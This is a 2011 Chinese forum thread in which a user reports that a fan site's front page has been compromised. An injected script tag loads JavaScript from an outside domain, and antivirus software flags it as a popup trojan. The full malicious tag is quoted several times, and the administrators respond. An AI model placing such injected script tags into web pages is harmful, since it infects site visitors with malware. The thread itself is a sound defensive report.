论坛首页发现挂马请管理员速查

琉璃雪羽 · 发表于 2011-5-18 00:28:48

本帖最后由琉璃雪羽于 2011-5-18 00:36 编辑

就是http://www.touhou.cc/这个首页，浏览的时候卡巴斯基报警，发现论坛中隐藏有挂马页面，经过查实，在论坛主页的源文件中发现如下代码：
<script language="javascript" type="text/javascript" src="http://www.tenytech.com/cnm/tc.js"></script>
卡巴斯基报警在http://www.tenytech.com/cnm/tc.js中分离出病毒Trojan.JS.Popupper.aw

源代码的截图

然后在http://www.touhou.cc/发现了很多奇怪的网页链接，但是没有什么问题，截图

请管理员注意
目前如果直接通过链接http://www.touhou.cc/bbs进入论坛，不通过http://www.touhou.cc/，暂时不会出现问题。

菠萝包 · 发表于 2011-5-18 00:35:37

已经处理感谢提醒

琉璃雪羽 · 发表于 2011-5-18 00:37:23

好快！我帖子刚刚编辑完！！

琉璃雪羽 · 发表于 2011-5-18 00:44:03

有意思……我刚刚去看……
<script language="javascript" type="text/javascript" src="http://www.tenytech.com/cnm/tc.js"></script>
还在，但是卡巴不报警了……这是我单机免疫还是全部免疫了？

四世之神 · 发表于 2011-5-18 00:52:36

我一直都是WWW.TOUHOU.CC/BBS..

菠萝包 · 发表于 2011-5-18 00:59:35

页面已经没木马了
你查看的是你的本地缓存文件

琉璃雪羽 · 发表于 2011-5-18 01:48:44

哦……
好的，诸位辛苦了。

琉璃雪羽 · 发表于 2011-5-18 01:53:49

无力了……刚刚清空缓存重新登录http://www.touhou.cc/，再次报毒……管理员加油啊！

琉璃雪羽 · 发表于 2011-5-18 01:59:46

管理员能不能动服务器上的页面，把http://www.touhou.cc/的起始页里的<script language="javascript" type="text/javascript" src="http://www.tenytech.com/cnm/tc.js"></script>这条去掉，就在WEB页源代码的最后面